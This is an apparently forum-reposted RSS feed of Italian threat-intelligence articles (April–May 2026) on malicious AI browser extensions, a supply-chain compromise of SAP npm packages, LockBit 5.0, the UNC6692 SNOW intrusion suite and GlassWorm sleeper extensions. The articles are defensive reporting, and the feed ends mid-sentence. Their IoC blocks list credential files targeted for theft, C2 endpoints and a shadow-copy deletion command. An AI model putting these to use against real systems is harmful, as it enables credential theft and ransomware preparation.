C:\ProgramData\ms_upd.exeDue righe per i difensoriLimitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.]]></description><link>https://forum.androidiani.net/topic/45aaeb87-a1e4-477c-a186-bae3cd2cd6e2/muddywater-usa-il-ransomware-chaos-come-falsa-bandiera-l-iran-maschera-lo-spionaggio-di-stato-da-cybercrime</link><guid isPermaLink="true">https://forum.androidiani.net/topic/45aaeb87-a1e4-477c-a186-bae3cd2cd6e2/muddywater-usa-il-ransomware-chaos-come-falsa-bandiera-l-iran-maschera-lo-spionaggio-di-stato-da-cybercrime</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Thu, 07 May 2026 13:43:39 GMT</pubDate></item><item><title><![CDATA[18 estensioni browser AI come RAT e Spyware: Unit 42 smonta la facciata dei tool GenAI per la produttività]]></title><description><![CDATA[Si parla di:ToggleCon la diffusione esplosiva degli strumenti di intelligenza artificiale generativa, il Chrome Web Store è diventato il nuovo vettore privilegiato per la distribuzione di malware camuffato da produttività. Il team Unit 42 di Palo Alto Networks ha pubblicato il 30 aprile 2026 una ricerca sistematica che documenta 18 estensioni browser ad alto rischio — commercializzate come assistenti AI per email, coding e ricerca — che nascondono Remote Access Trojan (RAT), attacchi meddler-in-the-middle (MitM), infostealer e spyware a tutti gli effetti. Google ha rimosso o emesso avvisi sulle estensioni segnalate, ma la ricerca espone un problema strutturale: il modello di permessi delle estensioni browser, combinato con la fiducia degli utenti verso i tool AI, crea una superficie di attacco lato client difficile da presidiare.Perché le estensioni AI sono un bersaglio idealeLe estensioni browser operano all’interno del processo trusted del browser con permessi concessi dall’utente. Possono leggere e modificare contenuti web, intercettare richieste di rete, accedere ai cookie e comunicare con server esterni — le stesse capacità di strumenti legittimi come ad blocker, password manager e tool per sviluppatori. La distinzione tra uno strumento legittimo e uno malevolo è invisibile all’utente medio.L’AI generativa amplifica il rischio in modo qualitativo. Quando un utente digita un prompt in un servizio AI come ChatGPT o Claude, condivide routinariamente codice proprietario, bozze di comunicazioni riservate e piani strategici. Un’estensione posizionata tra l’utente e il servizio AI intercetta dati di valore incomparabilmente superiore ai metadati di navigazione tradizionalmente presi di mira dal browser malware. Unit 42 ha rilevato campioni specifici che prendono di mira i prompt inviati a ChatGPT prima che lascino il dispositivo, esfiltrandoli verso domini a bassa reputazione.Le tecniche di attacco documentate da Unit 42L’analisi retrospettiva di Unit 42 ha identificato cinque tecniche ricorrenti nelle 18 estensioni ad alto rischio:1. WebSocket C2 persistenteLe estensioni stabiliscono connessioni WebSocket bidirezionali verso server C2 remoti. La connessione si riconnette automaticamente agli interrupt di rete e persiste attraverso i riavvii del browser senza richiedere iniezione di processo. Il traffico appare come normale traffico HTTPS dal punto di vista della rete. L’esempio più esplicito è “Chrome MCP Server – AI Browser Control”: mascherato da tool di automazione basato su Model Context Protocol, è di fatto un RAT completo che si connette a wss://mcp-browser.qubecare[.]ai/chrome, con la listing che riportava falsamente “100% local processing – your data never leaves your browser”.2. Browser API HookingGli script di contenuto sostituiscono le API native del browser (window.fetch o XMLHttpRequest) per intercettare le richieste di rete prima della trasmissione. In questo modo l’estensione può leggere il payload di qualsiasi richiesta — incluse quelle cifrate — prima che lascino la pagina. Questa tecnica permette la cattura di prompt, credenziali di form e token di sessione.3. Osservazione passiva del DOMGli script di contenuto monitorano passivamente le modifiche al Document Object Model (DOM) in applicazioni target come Gmail o Notion. L’estensione legge il contenuto renderizzato — testo in chiaro di email composte, note, messaggi — e lo trasmette in chiaro a server esterni. Unit 42 ha documentato casi in cui il contenuto delle email e gli OTP vengono esfiltrati tramite questa tecnica prima ancora dell’invio.4. Traffic Proxying via PACAlcune estensioni configurano le impostazioni proxy del browser tramite file PAC (Proxy Auto-Configuration) per instradare il traffico attraverso infrastrutture controllate dall’attaccante. Questo approccio non richiede permission esplicite per i singoli siti e opera in modo trasparente per l’utente.5. Decifrazione HTTPS via Chrome Debugger ProtocolLa tecnica più sofisticata: alcune estensioni agganciano il Chrome Debugger Protocol per leggere il corpo delle risposte HTTPS già decifrate. Questo bypassa la protezione della cifratura transport-layer, consentendo l’intercettazione di qualsiasi risposta HTTPS — incluse risposte delle API AI, contenuti bancari e dati di sessione autenticati.Il ruolo degli LLM nella produzione industriale di malware browserUn dato particolarmente significativo: diversi campioni analizzati da Unit 42 contenevano fingerprint di codice generato da LLM. I threat actor stanno utilizzando strumenti di code generation AI per accelerare lo sviluppo di estensioni malevole e scalare le campagne. Questo abbassa drasticamente la barriera tecnica per la produzione di browser malware sofisticato e rende obsoleta la correlazione tra qualità del codice e minaccia reale. La stessa tecnologia che promette produttività agli utenti legittimi viene weaponizzata per costruire più velocemente gli strumenti del crimine informatico.Le estensioni analizzate (case study)Tra le 18 estensioni documentate da Unit 42 con comportamenti ad alto rischio, i principali case study includono: Chrome MCP Server – AI Browser Control (RAT completo via WebSocket), Supersonic AI (infostealer di prompt), Reverse Recruiting (esfiltrazione di dati di profilo e comunicazioni), Chat AI for Chrome (intercettazione conversazioni AI), e l’estensione di traduzione Huiyi (spyware con DOM observation). Tutti si presentavano come tool di produttività AI legittimi con descrizioni convincenti sullo store Chrome.Qualche raccomandazioneGestione centralizzata delle estensioni: le organizzazioni dovrebbero implementare policy di allowlisting delle estensioni browser tramite Chrome Enterprise o equivalente, vietando l’installazione autonoma da parte degli utenti su dispositivi aziendali.Principio del minimo privilegio per le estensioni: auditare i permessi richiesti da tutte le estensioni installate. Un’estensione che chiede accesso a debugger, webRequest, proxy e storage.sync contemporaneamente dovrebbe essere trattata con estrema cautela.Diffidare delle promesse di privacy locale: affermazioni come “100% local processing” non sono verificabili dall’utente e sono state documentate come false in almeno un caso della ricerca.Monitoraggio del traffico di rete: le connessioni WebSocket persistenti verso domini a bassa reputazione da processi browser sono un segnale di allarme rilevabile a livello di proxy/firewall aziendale.Aggiornare le policy di sicurezza per includere esplicitamente le estensioni browser AI come superficie di rischio, alla stregua di software di terze parti installato.Fonte primaria: Unit 42, Palo Alto Networks, “That AI Extension Helping You Write Emails? It’s Reading Them First”, 30 aprile 2026. Le 18 estensioni sono state segnalate a Google, che ha rimosso o inviato avvisi ai proprietari per violazione delle policy.]]></description><link>https://forum.androidiani.net/topic/d261ec42-e692-4841-9b94-318ebe73b966/18-estensioni-browser-ai-come-rat-e-spyware-unit-42-smonta-la-facciata-dei-tool-genai-per-la-produttività</link><guid isPermaLink="true">https://forum.androidiani.net/topic/d261ec42-e692-4841-9b94-318ebe73b966/18-estensioni-browser-ai-come-rat-e-spyware-unit-42-smonta-la-facciata-dei-tool-genai-per-la-produttività</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Fri, 01 May 2026 08:07:57 GMT</pubDate></item><item><title><![CDATA[Mini Shai-Hulud: TeamPCP compromette i pacchetti npm ufficiali di SAP in un attacco supply chain enterprise]]></title><description><![CDATA[Si parla di:ToggleIl 29 aprile 2026, il gruppo TeamPCP ha compromesso i pacchetti npm ufficiali di SAP in quello che i ricercatori di Wiz hanno battezzato “Mini Shai-Hulud”: un attacco alla supply chain enterprise di estrema rilevanza che ha preso di mira gli ambienti di sviluppo e CI/CD di organizzazioni che utilizzano il Cloud Application Programming Model (CAP) e Cloud MTA di SAP. L’operazione si distingue per la sofisticazione del meccanismo di esfiltrazione e per la capacità di rubare credenziali da praticamente ogni sistema cloud aziendale utilizzato dagli sviluppatori colpiti.SAP nell’occhio del ciclone: perché questa supply chain attack è criticaSAP è il backbone ERP di migliaia di aziende enterprise globali. Il suo Cloud Application Programming Model (CAP) è il framework ufficiale per costruire applicazioni cloud-native su SAP Business Technology Platform. Una compromissione dei pacchetti npm di SAP CAP non è, quindi, un attacco a una libreria open source di nicchia: è un’iniezione di malware nel cuore degli ambienti di sviluppo enterprise, con accesso diretto a credenziali di produzione, segreti CI/CD e infrastrutture cloud di organizzazioni Fortune 500.La finestra temporale dell’attacco è stata precisa e calcolata: le versioni malevole dei pacchetti SAP sono state pubblicate su npm il 29 aprile 2026 tra le 09:55 UTC e le 12:14 UTC — un arco di circa due ore e mezza. Questo tipo di timing suggerisce un’operazione pianificata per massimizzare la finestra di esposizione prima che i team di sicurezza potessero reagire, sfruttando le ore mattutine dei fusi orari europei e americani durante le quali i sistemi CI/CD eseguono build automatizzate.Anatomia dell’attacco: da preinstall script a credential stealerIl meccanismo di attacco sfrutta una caratteristica legittima del registry npm: gli script preinstall, che vengono eseguiti automaticamente ogni volta che un pacchetto viene installato come dipendenza. I ricercatori di Socket e Wiz hanno ricostruito la catena di infezione in tre fasi distinte.Fase 1 — Bootstrap con Bun: Lo script preinstall esegue un loader chiamato setup.mjs che scarica da GitHub il runtime JavaScript Bun. L’utilizzo di Bun anziché Node.js è un’indicazione tattica: Bun è meno monitorato dai tool di sicurezza aziendali ed è più difficile da rilevare in ambienti enterprise dove Node.js è già whitelistato. Questo scaricamento di un binary non verificato è di per sé sufficiente per classificare il pacchetto come malevolo.Fase 2 — Execution payload offuscato: Il runtime Bun viene utilizzato per eseguire un payload denominato execution.js, pesantemente offuscato. Il payload implementa logiche di raccolta credenziali e meccanismi anti-analisi per complicare il reverse engineering.Fase 3 — Esfiltrazione crittografata: I dati rubati vengono cifrati con una chiave RSA pubblica hardcoded nel malware e caricati su repository GitHub pubblici creati sull’account della stessa vittima — con la descrizione ironica “A Mini Shai-Hulud has Appeared” (riferimento al verme del deserto di Dune). Questa tecnica di esfiltrazione tramite GitHub è particolarmente insidiosa poiché il traffico verso github.com è raramente bloccato nelle reti aziendali.Tipologia di credenziali rubateIl credential stealer è progettato per aspirare qualsiasi segreto accessibile nell’ambiente dello sviluppatore o del pipeline CI/CD:Token GitHub e npm — accesso ai repository e alle pipeline di deployGitHub Actions secrets — credenziali iniettate nei workflow di CI/CDChiavi SSH — accesso diretto a server e infrastrutturaCredenziali cloud: AWS (access key + secret), Azure (service principal), Google Cloud Platform (service account JSON), Kubernetes (kubeconfig)Segreti CI/CD in memoria — variabili d’ambiente caricate nei processi attivi al momento dell’esecuzioneAttribuzione a TeamPCP: la chiave RSA come firma digitaleWiz attribuisce l’operazione a TeamPCP con alta confidenza. L’elemento chiave è la riutilizzazione della stessa chiave RSA pubblica per cifrare i dati esfiltrati — la medesima chiave impiegata in precedenti compromissioni di librerie attribuite allo stesso gruppo. È un errore operativo significativo da parte degli attaccanti: la chiave di cifratura diventa di fatto una firma identificativa che collega tutte le campagne dello stesso operatore.TeamPCP non è un nuovo arrivato nel panorama degli attacchi alla supply chain npm. Il gruppo ha già condotto operazioni simili contro altre librerie, dimostrando un interesse sistematico per l’ecosistema JavaScript enterprise e un pattern operativo consolidato: compromissione di pacchetti legittimi e ad alta fiducia, payload multistadio con downloader, esfiltrazione tramite servizi cloud legittimi.Il pattern più ampio: tre supply chain attack in 48 oreL’attacco ai pacchetti SAP non è avvenuto in isolamento. GitGuardian ha documentato come nelle stesse 48 ore abbiano colpito campagne analoghe su npm (il pacchetto tanstack contraffatto che esfiltrava file .env), PyPI e Docker Hub — suggerendo un’intensificazione coordinata delle operazioni di supply chain attack verso l’ecosistema di sviluppo software nel suo complesso. Questo tipo di attività “a grappolo” potrebbe indicare un mercato underground più attivo, o una risposta a opportunità specifiche emerse nell’ecosistema open source.Indicatori di Compromissione (IoC)# Pacchetti SAP npm compromessi (versioni malevole - 29 aprile 2026)
# Pubblicati tra 09:55 UTC e 12:14 UTC

# Indicatori infrastrutturali:
# - Loader: setup.mjs (scarica Bun runtime da GitHub)
# - Payload: execution.js (offuscato, eseguito via Bun)
# - Chiave RSA pubblica condivisa con altre campagne TeamPCP

# Pattern di esfiltrazione:
# - Dati caricati su repository GitHub pubblici della vittima
# - Descrizione repository: "A Mini Shai-Hulud has Appeared"
# - Dati cifrati con RSA prima dell'upload

# File target:
.env
.env.local
.env.production
~/.ssh/id_rsa
~/.aws/credentials
~/.kube/config

# Riferimenti:
# Socket: https://socket.dev/blog/sap-cap-npm-packages-supply-chain-attack
# Wiz: https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
# BleepingComputer: https://www.bleepingcomputer.com/news/security/official-sap-npm-packages-compromised-to-steal-credentials/Raccomandazioni immediate per i difensoriChi utilizza pacchetti SAP CAP o Cloud MTA nel proprio ambiente di sviluppo deve agire immediatamente su più fronti. Il primo passo è verificare le versioni installate nei propri progetti e disinstallare qualsiasi versione pubblicata il 29 aprile 2026: eseguire npm audit e confrontare le versioni con il changelog ufficiale SAP. In secondo luogo, è necessario trattare tutte le credenziali presenti negli ambienti di sviluppo e CI/CD come potenzialmente compromesse: ruotare token GitHub, chiavi AWS/Azure/GCP, credenziali npm e kubeconfig.A livello organizzativo, questo attacco riporta all’attenzione la necessità di implementare policy di Software Composition Analysis (SCA) nei pipeline CI/CD, con blocco automatico di pacchetti che eseguono script preinstall o scaricano binary da sorgenti esterne. L’adozione di soluzioni come Socket, Wiz o Snyk per il monitoraggio in real-time delle dipendenze npm rappresenta oggi una misura non più opzionale per chi gestisce ambienti enterprise basati su Node.js.Fonti: Socket Research Team, Wiz Security Blog, BleepingComputer, GitGuardian Blog — 29-30 aprile 2026.]]></description><link>https://forum.androidiani.net/topic/872f4603-a90a-4dd7-adce-3830ba4a6ff7/mini-shai-hulud-teampcp-compromette-i-pacchetti-npm-ufficiali-di-sap-in-un-attacco-supply-chain-enterprise</link><guid isPermaLink="true">https://forum.androidiani.net/topic/872f4603-a90a-4dd7-adce-3830ba4a6ff7/mini-shai-hulud-teampcp-compromette-i-pacchetti-npm-ufficiali-di-sap-in-un-attacco-supply-chain-enterprise</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Thu, 30 Apr 2026 15:30:41 GMT</pubDate></item><item><title><![CDATA[LockBit 5.0 in Escalation: dalla Banca delle Banche Centrali Latinoamericane alle logistiche Europee]]></title><description><![CDATA[Si parla di:ToggleLockBit 5.0 — nome in codice ChuongDong — non è la resurrezione di un brand cybercriminale: è la prova che i ransomware-as-a-service più organizzati si evolvono più velocemente delle operazioni delle forze dell’ordine che li contrastano. Nell’ultima settimana di aprile 2026, la gang ha rivendicato colpi su un istituto finanziario fondato dalle banche centrali latinoamericane, su società di logistica tedesche e su numerose altre vittime in Europa, Asia e nelle Americhe. Un’analisi tecnica e operativa della minaccia più attiva del momento.Storia e resurrezione: da Operation Cronos a LockBit 5.0Nel febbraio 2024, la joint task force internazionale Operation Cronos — guidata dall’NCA britannica con la partecipazione di Europol, FBI e polizie di altri dieci paesi — aveva inflitto quello che sembrava un colpo definitivo all’ecosistema LockBit: server sequestrati, chiavi di decryption pubblicate, affiliati arrestati in Polonia e Ucraina, e il volto del presunto admin “LockBitSupp” esposto pubblicamente.La risposta del gruppo è arrivata con una certa prevedibilità: già nel settembre 2025, LockBit ha annunciato sul forum dark web RAMP la versione 5.0, coincidendo con il sesto anniversario dell’operazione. A distanza di circa sette mesi dal lancio, il quadro è chiaro: il gruppo ha ripreso la sua cadenza operativa, con oltre 100 vittime rivendicate sulla nuova data leak site (DLS) e attività in costante escalation nel 2026.Architettura tecnica: cosa c’è di nuovo in LockBit 5.0LockBit 5.0 è costruito su un’architettura a due componenti principali, un Loader e un modulo Ransomware, con una separazione netta tra funzioni di delivery e payload di cifratura.Il Loader decifra il payload ransomware usando XOR combinato con compressione LZ e lo esegue direttamente in memoria, senza mai scrivere il binario cifrato su disco — una tecnica che complica notevolmente l’analisi forense e il rilevamento da parte degli antivirus tradizionali.Sul fronte cifratura, la versione 5.0 introduce significativi miglioramenti rispetto alla 4.0:Cifratura differenziale basata sulla dimensione dei file: per i file più grandi viene cifrata solo una porzione, massimizzando la velocità dell’attacco e comprimendo la finestra di risposta per i difensori.Modulo di cancellazione delle Shadow Copy aggiornato: basato su codice derivato da Conti, ora utilizza le VSS API native di Windows invece degli strumenti da riga di comando, riducendo le tracce nel log degli eventi.Patching di EtwEventWrite: disabilita in memoria il Windows Event Tracing for Windows (ETW), cieco di fatto i sistemi di SIEM e EDR che si affidano ai provider nativi.Controlli di geolocalizzazione e locale: i campioni escludono automaticamente i sistemi nei paesi della CIS (Comunità degli Stati Indipendenti), un pattern tipico degli operatori ransomware di madrelingua russa.Estensioni randomizzate a 16 caratteri: i file cifrati ricevono un’estensione generata casualmente per ogni campagna, impedendo il rilevamento basato su signature statiche.Multi-piattaforma: Windows, Linux e VMware ESXi nel mirinoUna delle novità più significative di LockBit 5.0 è l’espansione cross-platform. Il gruppo ha sviluppato tre varianti distinte — per Windows, Linux e VMware ESXi — che possono essere deployate in modo coordinato su tutta l’infrastruttura di una vittima.La variante ESXi è progettata specificamente per cifrare i datastore delle macchine virtuali, paralizzando interi ambienti virtualizzati in un singolo passaggio. Per un’organizzazione enterprise che fa affidamento su VMware, questo significa che server, applicazioni critiche e database possono essere resi inaccessibili simultaneamente, moltiplicando la pressione a pagare il riscatto.Le vittime di aprile 2026: da Bladex alle logistiche europeeLa settimana del 26-27 aprile 2026 ha visto LockBit 5.0 rivendicare una serie di attacchi di profilo elevato, in particolare:Bladex (Panama): istituto finanziario multinazionale fondato direttamente dalle banche centrali dei paesi latinoamericani e caraibici. LockBit ha annunciato la pubblicazione dei dati entro 14-15 giorni. Un attacco a un istituto con questo profilo istituzionale ha implicazioni che vanno ben oltre il singolo incidente.Merlo Teleskoplader (Germania): produttore tedesco di macchinari industriali; la rivendicazione include potenziale esfiltrazione di dati tecnici e commerciali.D. Heinrichs Logistic GmbH (Bremerhaven, Germania): provider logistico nel porto di Bremerhaven, nodo strategico per il commercio europeo.La concentrazione di vittime tedesche nel settore logistico/industriale suggerisce una campagna mirata, o quantomeno che gli affiliati di LockBit 5.0 stiano attivamente prendendo di mira la filiera produttiva e logistica europea.Indicatori di compromissione e pattern di attacco# File system indicators (Windows)
%TEMP%\ReadMeForDecrypt.txt         # Ransom note (naming convention LockBit 5.0)
*.{16-char random extension}         # File cifrati con estensione randomizzata
# Processi sospetti (behavior indicators)
vssadmin.exe (chiamate VSS API native invece di CLI)
wevtutil.exe (possibile log clearing pre-cifratura)
wmic.exe shadowcopy delete
# ETW patching (in-memory)
EtwEventWrite patched -&gt; NOP sled   # Disabilita event tracing Windows
# Geolocation check (CIS exclusion)
GetUserDefaultLCID() / GetLocaleInfoW()  # Controllo locale pre-esecuzione
# Network indicators
Comunicazioni C2 su infrastrutture TOR
Data exfiltration pre-cifratura via tool personalizzato (data theft stage)
# Loader behavior
XOR + LZ decompression in memoria
Nessuna scrittura del payload cifrato su disco (fileless execution)Il modello RaaS e la resilienza di LockBitLa sopravvivenza di LockBit alle operazioni delle forze dell’ordine non è un caso: è il risultato di un modello RaaS (Ransomware-as-a-Service) progettato con ridondanza in mente. Gli affiliati — decine di gruppi criminali indipendenti che noleggiano il malware in cambio di una percentuale dei riscatti — possono continuare a operare anche quando l’infrastruttura centrale viene sequestrata. Quando il codice e le build vengono trapelate o ricostruite, il lancio di una nuova versione diventa relativamente rapido.LockBit 5.0 dimostra anche una capacità di adattamento tecnico reale: il patching in memoria di ETW, l’uso delle VSS API invece dei comandi shell, e l’architettura modulare cross-platform non sono aggiornamenti cosmetici ma miglioramenti mirati a sopravvivere agli EDR e ai SIEM di nuova generazione.Raccomandazioni per i difensoriProteggere i backup offline e immutabili: la strategia più efficace contro LockBit rimane avere copie fuori dalla portata del ransomware. I backup connessi alla rete sono sempre stati l’obiettivo primario degli operatori.Monitorare le API di Volume Shadow Copy: rilevare chiamate anomale alle VSS API da processi inusuali, non solo l’esecuzione di vssadmin.EDR con visibilità sulle patch in-memory: i provider che monitorano l’integrità del codice in memoria (PatchGuard bypass, EtwEventWrite tampering) hanno significativamente più chance di rilevare LockBit 5.0 prima dell’esecuzione del payload.Segmentazione rigorosa degli ambienti VMware: i datastore ESXi non devono essere accessibili da host che non abbiano una necessità operativa diretta.Threat hunting basato su estensioni randomizzate: configurare alert su mass-rename di file con estensioni sconosciute nei file server critici.Verifica della geolocation check: se in un ambiente vengono rilevati controlli di locale da processi inusuali, potrebbe indicare una fase di reconnaissance pre-attivazione del payload.LockBit 5.0 non è un fantasma del passato. È una minaccia attiva, tecnicamente evoluta e operativamente resiliente. L’attacco a Bladex — un’istituzione finanziaria nata per volontà delle banche centrali di un’intera regione del mondo — è il segnale che nessun settore, nessuna dimensione aziendale e nessuna geografia è fuori dal mirino del gruppo più prolifico del ransomware mondiale.]]></description><link>https://forum.androidiani.net/topic/b074af2f-b99d-4384-869e-69ed0db0e594/lockbit-5.0-in-escalation-dalla-banca-delle-banche-centrali-latinoamericane-alle-logistiche-europee</link><guid isPermaLink="true">https://forum.androidiani.net/topic/b074af2f-b99d-4384-869e-69ed0db0e594/lockbit-5.0-in-escalation-dalla-banca-delle-banche-centrali-latinoamericane-alle-logistiche-europee</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Mon, 27 Apr 2026 18:19:25 GMT</pubDate></item><item><title><![CDATA[UNC6692 usa Microsoft Teams per distribuire SNOW: email bombing, impersonazione helpdesk e compromissione del dominio Active Directory]]></title><description><![CDATA[Si parla di:ToggleNon serve uno zero-day quando si puo’ semplicemente telefonare. O meglio: mandare un messaggio su Microsoft Teams fingendo di essere il supporto IT aziendale. E’ questa la filosofia operativa di UNC6692, un gruppo di minaccia documentato da Google Threat Intelligence Group (GTIG) e Mandiant il 22 aprile 2026, che ha sviluppato una delle catene di intrusione piu’ efficaci osservate di recente: zero vulnerabilita’ software sfruttate, impatto devastante.La catena di attacco: dalla casella di posta al dominio compromessoLa campagna di UNC6692 si articola in piu’ fasi con una logica narrativa precisa, progettata per sfruttare i processi cognitivi delle vittime anziche’ le vulnerabilita’ del software. Tutto inizia tra fine dicembre 2025 e i mesi successivi con un’operazione di email bombing: le vittime — prevalentemente dipendenti senior (77% dei casi rilevati) — si trovano improvvisamente sommerse da migliaia di email spam, un’inondazione che paralizza l’attivita’ lavorativa e genera panico.Nel momento di massima confusione, arriva il soccorso: un messaggio su Microsoft Teams da un account che si presenta come tecnico del supporto IT interno. L’attaccante offre assistenza per il problema email e guida la vittima attraverso una sequenza di azioni apparentemente legittime. Il punto critico e’ il click su un link che porta a una pagina di phishing ospitata su un bucket Amazon S3 — presentata come “Mailbox Repair and Sync Utility v2.1.5”. L’URL su S3 non e’ in lista di blocco di quasi nessun proxy aziendale, e il dominio amazonaws.com gode di alta reputazione nei sistemi di URL filtering.La suite SNOW: tre strumenti, un’unica operazioneIl download dalla pagina di phishing avvia l’esecuzione di un binario AutoHotKey (RegSrvc.exe) che funge da dropper per l’ecosistema SNOW, una suite malware modulare composta da tre componenti distinti, ciascuno con un ruolo specializzato nella catena di compromissione.SNOWBELT e’ un backdoor basato su JavaScript, distribuito come estensione Chromium (directory: SysEvents). Viene installato in modalita’ non-supervised attraverso policy forzate, non tramite il Chrome Web Store. Si maschera sotto nomi come “MS Heartbeat” o “System Heartbeat”. Una volta attivo nel browser della vittima, intercetta sessioni autenticate, cookie, token OAuth e qualsiasi credenziale inserita nelle form web. Comunica con il C2 tramite richieste verso bucket S3 in us-east-2, usando un VAPID key fisso come identificatore.SNOWGLAZE e’ un tunneler Python compatibile con Windows e Linux. La sua funzione primaria e’ creare un tunnel WebSocket autenticato tra il sistema della vittima e l’infrastruttura C2 dell’attaccante, tipicamente un sottodominio Heroku. Questo tunnel permette all’attaccante di instradare traffico RDP, PsExec e altri protocolli attraverso una connessione apparentemente legittima verso Heroku, eludendo i controlli firewall.SNOWBASIN e’ il backdoor persistente per il controllo remoto completo: esecuzione di comandi via cmd.exe o PowerShell, cattura di screenshot, upload/download di file e auto-terminazione. E’ SNOWBASIN che gestisce la fase di post-exploitation, una volta che il foothold iniziale e’ stabilito.Post-exploitation: dal PC della vittima al domain controllerL’analisi di Mandiant descrive una sequenza di post-exploitation metodica e aggressiva. Dopo l’installazione della suite SNOW, l’attaccante utilizza SNOWGLAZE per stabilire una sessione PsExec verso il sistema compromesso, poi avvia una scansione della rete locale alla ricerca di sistemi raggiungibili su porte 135 (RPC), 445 (SMB) e 3389 (RDP). Una volta identificato un server di backup, SNOWGLAZE viene usato per instradare una sessione RDP verso di esso.Sul server di backup avviene la fase critica: l’attaccante usa Windows Task Manager per eseguire il dump del processo LSASS (Local Security Authority Subsystem Service), catturando in chiaro tutti gli hash delle password degli account autenticati sul sistema, inclusi account privilegiati con accesso al dominio Active Directory. Il file di dump viene esfiltrato via LimeWire attraverso il tunnel SNOWGLAZE. Con gli hash estratti, e’ possibile effettuare attacchi pass-the-hash per autenticarsi come qualsiasi account del dominio, portando alla compromissione completa dell’infrastruttura AD.Indicatori di compromissione (IoC)# URL phishing (pattern)
https://service-page-[ID]-outlook.s3.us-west-2.amazonaws.com/update.html?email=

# C2 SNOWGLAZE (WebSocket)
wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws

# C2 SNOWBELT (pattern URL S3)
https://[a-f0-9]{24}-[0-9]{6,7}-[0-9]{1}.s3.us-east-2.amazonaws[.]com

# SNOWBELT VAPID Key
BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0

# File sospetti (dropper)
RegSrvc.exe    # binario AutoHotKey rinominato
Protected.ahk  # script AHK malevolo

# Directory estensione Chrome malevola
SysEvents/  # in %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions

# Hash SHA256
SNOWGLAZE: 2fa987b9ed6ec6d09c7451abd994249dfaba1c5a7da1c22b8407c461e62f7e49
SNOWBELT background.js: 7f1d71e1e079f3244a69205588d504ed830d4c473747bb1b5c520634cc5a2477Attribuzione e contestoUNC6692 e’ classificato da Google/Mandiant come UNC (Uncategorized): non e’ ancora stata stabilita un’attribuzione definitiva a un paese o gruppo noto. Il profilo operativo mostra tuttavia caratteristiche interessanti: capacita’ di sviluppo malware custom elevate, pazienza tattica (la campagna di email bombing precede l’attacco di settimane) e una chiara preferenza per obiettivi aziendali con accesso privilegiato a infrastrutture IT. L’assenza di exploit zero-day puo’ indicare sia un operatore esperto che preferisce metodi OPSEC-sicuri, sia un gruppo finanziariamente motivato che ha ottimizzato il rapporto costo/impatto delle proprie operazioni.Consigli per i difensoriLa campagna UNC6692 mette in evidenza lacune difensive comuni negli ambienti enterprise. Sul fronte delle policy Microsoft Teams, e’ fondamentale limitare la possibilita’ per utenti esterni di contattare dipendenti interni tramite Teams: configurare una allowlist dei tenant esterni autorizzati e’ il primo passo. Sul fronte della protezione da email bombing, implementare rate limiting e filtri anti-spam aggressivi con alert su aumenti anomali di volume per singolo account. Per la protezione del browser, deployare policy Group Policy che blocchino l’installazione di estensioni Chrome non approvate e monitorare la creazione di nuove directory in %LOCALAPPDATA%. Monitorare il traffico verso sottodomini Heroku e bucket S3 non registrati come legittimi nel proprio inventario cloud. Infine, proteggere LSASS con Credential Guard su tutti i sistemi Windows 10/11 e Server 2019+: questa misura da sola avrebbe bloccato la fase piu’ critica dell’attacco documentato.La campagna UNC6692/SNOW e’ un esempio paradigmatico di come il perimetro piu’ difficile da difendere non sia tecnico, ma umano: un dipendente stressato da un’inondazione di spam e “soccorso” da un collega del supporto IT e’ una vittima quasi inevitabile, indipendentemente dalla sofisticazione dell’infrastruttura di sicurezza aziendale.]]></description><link>https://forum.androidiani.net/topic/598e0c08-9e11-494b-b32d-3b2f481355e6/unc6692-usa-microsoft-teams-per-distribuire-snow-email-bombing-impersonazione-helpdesk-e-compromissione-del-dominio-active-directory</link><guid isPermaLink="true">https://forum.androidiani.net/topic/598e0c08-9e11-494b-b32d-3b2f481355e6/unc6692-usa-microsoft-teams-per-distribuire-snow-email-bombing-impersonazione-helpdesk-e-compromissione-del-dominio-active-directory</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Mon, 27 Apr 2026 10:59:28 GMT</pubDate></item><item><title><![CDATA[GlassWorm muta ancora: 73 estensioni “sleeper” su Open VSX pronte a svegliarsi come malware]]></title><description><![CDATA[Si parla di:ToggleUna campagna di supply chain attack di nuova generazione non aspetta di essere scoperta: prima si mimetizza, poi colpisce. È questa la logica dietro GlassWorm, un attore malevolo che ha trasformato il marketplace Open VSX in un campo minato di estensioni apparentemente legittime, pronte ad attivarsi dopo settimane di apparente innocenza.La nuova ondata: 73 estensioni sleeper identificateIl 25 aprile 2026, i ricercatori di Socket hanno pubblicato un’analisi approfondita rilevando 73 nuove estensioni per Open VSX — il registry alternativo a Visual Studio Marketplace, utilizzato principalmente dagli sviluppatori di VSCodium e Eclipse Theia — che mostrano caratteristiche riconducibili alla campagna GlassWorm. Almeno sei di queste estensioni si sono già “svegliate”, aggiornandosi per distribuire payload malevoli, mentre le restanti rimangono classificate come sleeper ad alta confidenza in attesa di attivazione.Il meccanismo è elegante nella sua perversità: le estensioni vengono pubblicate con codice pulito, superano i controlli automatici del marketplace, accumulano installazioni e fiducia degli utenti — poi, attraverso un aggiornamento silenzioso o aggiungendo una dipendenza malevola, si trasformano in vettori di malware. Nessun exploit, nessun CVE: pura abuso della fiducia nella supply chain del software.Evoluzione di una campagna persistenteGlassWorm non è un attore nuovo. La campagna è attiva almeno dal 